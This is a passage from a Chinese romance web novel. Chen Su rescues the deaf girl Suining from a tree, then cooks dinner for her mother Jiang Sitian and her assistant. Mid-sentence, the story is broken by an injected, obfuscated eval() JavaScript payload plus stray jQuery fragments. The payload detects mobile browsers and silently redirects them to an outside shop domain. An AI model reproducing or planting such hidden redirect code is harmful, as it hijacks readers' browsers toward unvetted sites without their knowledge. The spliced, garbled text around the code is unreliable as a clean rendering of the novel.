“我接……”江司甜都快吓哭了,慌张大喊,“我接不住!你、你不要动!”
陈速恶狠狠地咬牙,抬起头也抬起胳膊指着她大吼:“不准动!你敢动一下试试!就在那里给我好好待着,动一下你妈绝对不要你了!”
穗宁愣愣看他的嘴皮翻动,笑容顷刻消失,圆溜溜的眼睛瞪着,嘴唇一耸气鼓鼓的模样。
“陈速,看你干的好事!”杨灿对他气急败坏地大吼,“你不知道穗宁……”
“别说了灿灿。”江司甜制止住她,抬手摁着太阳穴冷静下来,“打电话请消防吧。”
“不至于。”陈速皱眉看她们一眼,又叉腰看了眼那棵树,差不多摸清楚了穗宁攀上去的路径,“我上去把她弄下来。”
这边话还没落下,姜信把书包一扔,一跃上了树,三五下爬了好几米,扬声往下喊:“陈老师你腿不方便,我去。”
“放心,肯定给你完完整整带回来。”
爬树对山里孩子而言确实不算太难的事,姜思田急急忙忙回村里找帮手,一群大叔大婶抱着棉被火速赶到,全铺在地上以防万一。
另有擅长爬树的精壮男人也跟着上了树,先把朱瑶抱下来了,再看姜信那边,他虽然才十四岁,但个高挺拔,膀子结实,把穗宁弄下来也没太大难度,只是小家伙不肯配合,屡次把姜信伸过去的手拍开。
小嘴翘得能顶一只红苹果,嘴里还大喊着不要、不要。
“姜信,你先下来。”陈速朝姜信招招手,大喊,“我来弄,你先下来。”
姜信看了眼穗宁,又看底下的陈速,再试探了几次,最后放弃了。
江司甜看着他担心地问:“你、你行吗?要不还是……”
“我什么时候不行了?”陈速轻佻一笑,俯身下去在她耳边说,“收收你的眼泪和表情,穗宁是我带来的,跟你没关系听见没?”
江司甜错愕地望着他,又见陈速摸了下鼻尖,冷声冷气又很无奈地低声说了句:“你是生了个什么混世魔王?胆子那么大像了谁啊?”
江司甜愣住没表情,杨灿攥着拳头恨不得给他眼珠子上来一锤子,只是被江司甜悄悄摁下了。
陈速坏掉的腿里打了好几颗钢钉,要说影不影响他爬树,那肯定还是影响的,只是这人够能忍,咬咬牙也能蹿得跟猴一样快,江司甜眨眨眼的功夫就瞧见他已经爬到了穗宁的位置。
粗糙大手伸过去,被穗宁狠狠拍开:“我不要你。”
“你以为我想要你?”陈速瞪着她眼珠欲裂,忍着怒气又伸手过去,说话尖锐又刻薄,当然是难听至极,“赶紧的,你要把你妈吓死才满意?没妈了你就开心了?那你一辈子挂在树上当个猴吧,没人要你!”
穗宁眨了下眼睛,小嘴巴一塌,眼泪汪汪就往外冒,低头看了眼树下双眼通红的江司甜,小嘴巴再一张开,哇的一下就哭出来了。
“陈速!你别吓唬她!”江司甜在树下喊破嗓子,清亮眼眸泛着水光,眼看着就悠悠滑在白皙的脸颊上,她抬起手背抹眼泪。
穗宁看江司甜哭了才隐约意识到自己做错了,很快面露愧疚,对着树下大喊:“妈咪,我错了!”
说完又抽泣着望向陈速,这张脸也是阴沉至极,冷硬至极,脏兮兮的大手就在她面前摊开,一大一小两人在离地二十米的高空瞪眼赌气。
“快点!”陈速烦躁地对她大吼,“把手给我!”
穗宁还是不愿意,奶凶又倔强地说:“我不要你!”
陈速无情地说:“我没让你要我,我不稀罕你要我,祖宗听点话,下去之后咱们一刀两断一拍两散,保证您再也看不到我了。”
穗宁盯着他的嘴皮翻完,连啜泣也停下来,漆黑眼睛亮闪闪的,嘴巴又是一噘,说:“不要。”
说完又忽然扶住树干站起来,挥动小胳膊去打陈速:“你是坏蛋!你是坏蛋!”
坏蛋横眉冷眼充耳不闻,胳膊往前一探逮住了挥过来的胳膊,一下子把她抓下来抱在怀里,穗宁吓得惊叫,抱着陈速的脖子闭上了眼睛。
“闭嘴!耳朵都让你震聋了。”
“就没见过有谁比你声音还嘹亮!”
陈速抱着她坐到另一边的树枝上,先放下孩子脱衣服撕烂,再把人抱起来捆在身上,捣腾穗宁像在捣腾一个布偶娃娃,毫不怜香惜玉,只觉得焦躁心烦。
穗宁不甘示弱一口咬在他的脖子上,水灵灵的圆眼睛恨恨地盯着他。
两个人挂在高空,陈速往下看了眼纷扰人群,摸了下脖子,也不计较她这莫名其妙不痛不痒的攻击,突然笑盈盈地说:“对不起,穗宁宝贝,商量个事儿。”
“我错了,我不该骂你不该凶你我是罪人是坏蛋,等会儿下去了你别去找你妈行吗?她在工作呢,被发现了你妈会被领导打屁股的,你懂不懂打屁股是什么意思?你懂不懂领导是什么意思?”
“听懂了你就点个头。”
穗宁默不作声地看着他。
陈速死皮赖脸又求她,这次言简意赅许多:“听话宝贝,下去之后我们找那个叫杨灿的,叫她妈咪,否则你妈会挨打,你想看你妈挨打吗?”
穗宁若有所思地抿了抿唇。
看这表情是差不多行了,陈速带着穗宁往下爬。
等到两人安全到了地面,江司甜吓得已经脱力,但和杨灿相互依偎而立,一张清冷面孔只是皱着细眉并无过多表情,所以看上去还算云淡风轻。
村民给陈速找了件干净褂子来套上。
在树上时两人呛得像什么似的,落地了反而和谐了。
穗宁这个时候躲在陈速身后,小手拧着他的裤子怯怯地看了眼江司甜,没等她说话,又看向杨灿,细若蚊呐地叫了声妈咪。
杨灿无痛当妈有点懵头转向,扭头和江司甜面面相觑,当然很快反应过来,伸出胳膊代替江司甜抱起穗宁,轻抚后背安慰她,问有没有吓到。
穗宁摇了摇头,再扭头看江司甜,一张白净面庞冷得像是铺了厚厚积雪,眼眸莹润又似泛着古井的凉,明显是生气了,小家伙躲开目光不敢看。
又是一次有惊无险。
村民们议论纷纷地散开了,陈速这招混淆视听玩得不算很高明,但确实有用,再由姜思田胡说八道一通,事情变成了陈速和杨灿是旧相识,人家工作托陈速帮她带娃呢,江司甜那自然是人美心善,早就认了助理的女儿当干女儿,平时也可疼爱了。
陈速再拉着姜信交待了一番,山里男生懂事得早,姜信也是善良正直的本性,心里明镜一样,自然也懂他的意思。
这件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173088|148639||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事算是雨过天晴,陈速开车回棠城,江司甜说一不二要接走穗宁,其实就是让杨灿带着穗宁暂住酒店。
穗宁的东西原本不多,可东摆西放收拾起来也费了些时间。
江司甜安静平和地收拾着,余光瞄到墙角的涂鸦,停顿一下,很快收回目光,往客厅的行李箱里放衣服时,扭头看向厨房,门依然是关着的,顺手关掉那扇门是陈速刻进骨髓的习惯。
家里每扇窗外都加上了防护网,窗台顶上挂满了眼生的小衣服和玩偶,衣服都干透了,玩偶还没有。
江司甜打开厨房门问陈速给穗宁买东西花了多少钱。
陈速颠锅的手僵住,后槽牙一咬说没几个钱。
“没几个钱是多少钱?”她势必要跟他算得一清二楚。
陈速落下锅铲翻炒,在噼里啪啦飞溅的油烟声里不耐烦地说:“我没你想得那么穷困潦倒,就当给孩子的礼物。”
“出去吧,油烟味重,你不是闻不惯吗?”他稍稍侧了脸,站姿松弛慵懒,语气也挺平淡。
江司甜垂眸,轻轻合拢了门。
两荤一素一个汤,四个人够吃了,一屋人安安静静坐下吃饭,陈速表情冷淡地往穗宁碗里添菜,叮嘱她多吃点,穗宁抬眸看他,清澈眼眸变得宁静,似乎也感受到某种分别前若隐若现的伤感。
陈速看着她弯唇笑了笑,又桀骜地叮当敲响碗沿,声音冷酷道:“看什么看?吃饭。”
“今天闯那么大祸没人训你是不是?以后不准爬树不准爬窗台,高的地方都不准去听见没?”
穗宁垂下长睫无声扒饭,还把自己不喜欢吃的菜丢出来——丢进了陈速碗里。
陈速盯着自己碗里被啃了一半的肉,嚼着饭菜皱眉:“她戴着那个什么ABI真的听得见吗?”
“我怎么觉得她只听得见自己想听见的内容?你娘俩玩儿我呢?”
目光递给江司甜,她等饭菜咽下才说:“没有玩儿你,具体的……”
她说着也看向穗宁,目光是柔和的,也隐约有自责和心疼,声音轻轻地说:“我也不知道她的世界到底是什么样的,ABI植入不能提供正常的声音,医生也说她暂时还接收不了正常的听力感觉,依然还需要很长的时间来提高语言交流能力,你的声音和我的声音对她而言没区别,也很微弱,得结合唇读,她唇读挺厉害的,好在脑子不算笨。”
陈速很少听江司甜一次说出那么多的话,喉中一哽,偏头看向穗宁。
折腾一天,小家伙头发乱糟糟的,裹得一头灰,顽劣得让人头疼,偶尔也乖顺得让人心疼。
一桌人又陷入沉默,屋子里没外人,很久不见难免寒暄,陈速又问起杨灿,问她堂堂高材生怎么做起助理了。
杨灿冷冷看他一眼,说:“关你屁事。”
话题还没开始就又结束,好像这注定是沉默的一夜。
陈速不知道自己哪里得罪了她,低头无语地笑了声,态度无所谓,也没心情计较许多。
饭后,江司甜带穗宁离开,陈速开车送她们去酒店。
空调吹出凉飕飕的风,等红绿灯的空隙里,陈速抬眸看车内后视镜,看到穗宁乖乖地坐在后面,幽静眼眸同样不落睫地看着他。
陈速咽了咽嗓,心情复杂地收回目光。